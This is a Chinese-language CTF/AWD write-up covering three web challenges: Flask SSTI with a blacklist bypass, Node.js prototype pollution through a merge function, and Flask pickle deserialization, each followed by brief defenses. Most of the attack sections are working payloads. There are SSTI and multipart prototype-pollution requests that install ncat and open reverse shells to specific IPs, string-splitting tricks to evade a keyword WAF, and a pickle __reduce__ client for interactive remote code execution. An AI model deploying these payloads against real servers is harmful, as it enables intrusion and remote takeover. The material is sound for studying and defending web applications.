Constellation_query
输入month day查询星座 一个flask ssti
Flask提供两个模版渲染函数 render_template() 和render_template_string()
在render_template_string()函数中,作为模板的字符串参数中的传入参数是通过%s的形式获取,从而导致可以通过构造恶意的模板语句来注入到模板中、模板解析执行了模板语句从而实现SSTI
{ { } }内能够解析表达式和代码,但直接插入import os;os.system(‘whoami’) 是无法执行,Jinjia 引擎限制了使用import,这时可以利用python的魔法方法和一些内置属性
ATTACK
1 2 3 4 5 6 7 8 9 10 11 12
| @app.route("/", methods=["GET", "POST"]) def index(): if request.method == "POST": dayargs = blacklist(day)#blacklists = ["{\{","print","cat","flag","nc","bash","sh","curl"] if dayargs == True: return "检测到危险关键词,已被WAF拦截!" try: return render_template_string(html % (int(month),day,constellation)) except ValueError: month = 0 day = 0 return render_template_string(html % (month, day, constellation))
|
post传入的day month 在try:后执行即可
需要绕过黑名单,两个{
可以用{%%}
绕过
{% if ... %}1{% endif %}
payload : request.application.globals.builtins.import(‘os’).popen(“{payload}”).read()
client:
1 2 3 4
| POST http://localhost:5000/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded
month=1&day={% if request["applic"+"ation"].__globals__.__builtins__.__import__('os').system("apt install -y n"+"c"+"at;"+"n"+"c"+"at -e /bin/bas"+"h 172.25.0.1 4321") %}1{% endif %}
|
本地测试时候 本地是nc openbsd 没有-e参数,之后反弹shell时候可以先更新安装nc再弹
DEFENSE
一般是两个方面,用户输入:黑名单白名单限制,服务器这边静态加载文件
render_template 是 Flask 中常用的渲染模板的方法,它会自动找到指定的模板文件并渲染其中的内容。相比于 render_template_string,render_template 更安全,因为它会从模板文件中加载内容,而不是直接在代码中指定模板字符串。
5-imgupl0ad
原型链污染
ATTACK
看代码先
1 2 3 4 5 6 7 8
| app.post("/upload", (req, res) => { try{ let oldPath = req.files[0].path;//["file:///app/public/flag"] let newPath = oldPath + ".jpg"; let data = {type: "image", path: newPath}; fs.renameSync(oldPath, newPath); merge(data, req.body); db.push(data);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| //merge.js const merge = (target, source) => { for (let key in source) { if (key == "__proto__") { throw new Error('Param invalid') } if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } module.exports = merge;
|
merge()函数显然原型链污染
传递两个参数 文件路径之类的data 和请求里面的东西
需要将req的内容污染到data里面,再调用data触发反弹shell
files[0]导致必须传入文件 但是传文件时候传入json格式的代码不解析,用数组传递才能解析
过滤了__proto__,用prototype
execsync ->child_process 用的这个
递归后污染到object
payload
1 2 3 4 5 6 7 8 9
| { "constructor": { "prototype": { "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require('child_process').execSync('apt install -y ncat;ncat -e /bin/bash 172.20.0.1 4321').toString())//", "shell": "/proc/self/exe" } } }
|
如果直接发送json形式的数据,根本无法传递参数内容进去(看别急!)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| ------WebKitFormBoundaryXxAlaxNAfmW57DVn Content-Disposition: form-data; name="image"; filename="2.jpg" Content-Type: image/jpeg
11111 ------WebKitFormBoundaryXxAlaxNAfmW57DVn Content-Disposition: form-data; name="constructor[prototype][NODE_OPTIONS]"
--require /proc/self/cmdline ------WebKitFormBoundaryXxAlaxNAfmW57DVn Content-Disposition: form-data; name="constructor[prototype][argv0]"
console.log(require('child_process').execSync('apt update;apt install -y ncat;ncat -e /bin/bash 172.20.0.1 4321').toString())// ------WebKitFormBoundaryXxAlaxNAfmW57DVn Content-Disposition: form-data; name="constructor[prototype][shell]"
/proc/self/exe ------WebKitFormBoundaryXxAlaxNAfmW57DVn--
|
constructor 每个元素都有,可以通过constructor.prototype 在merge里面递归污染到object中
注意后面console.log(require(‘child_process’).execSync(‘apt update;apt install -y ncat;ncat -e /bin/bash 172.20.0.1 4321’).toString())//有两个/ 没有就会报错
在__proto__中,在一切皆对象的JavaScript中,所有对象都可以调用toString和valueOf方法,当你通过__proto__重写这2个方法的时可以污染
急!
http不能同时传json和file
发送file+json数据包,只是传入了file
发送后只解析一层,丢失了里面的赋值
不理解
一些参考
DEFENCE
直接过滤proto和prototype吧
Object.create(null)没有原型链,就不会被污染,但是awd里面容易修崩,还是直接过滤吧
read_article
python flask pickle 反序列化(这还自己给自己加了后门?),还有访问其他文件
python pickle unserialize
freebuf_pickle反序列化
ATTACK
这里他自己有一个后门?
@app.route(“/shell01”)
def attack():
data = request.args.get(‘data’)
decoded_data = base64.b64decode(data.encode(‘utf-8’))
p = pickle.loads(decoded_data)
return render_template(‘form.html’, res=p)
pickle反序列化 比php容易,那需要服务器本身有不安全代码,这直接通过__reduce__干进去,危险
优雅的payload 抄了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| { import pickle, pickletools from base64 import b64encode import requests
class payload: def __init__(self, rce:str): self.rce = rce def __reduce__(self): return (eval,("__import__('os').popen('%s').read()" % self.rce,))
attack = lambda x,y: requests.request("GET", x, params={"data":b64encode(pickletools.optimize(pickle.dumps(payload(y)))).decode()}).text
if __name__ == "__main__": while 1: print(attack("http://localhost:5000/shell01", input())) }
|
DEFENCE
设置权限访问,
或者代码改改限制范围
检查是不是在应该的目录里面
if not os.path.abspath(file_path).startswith(os.path.abspath(articles_directory)):abort(403)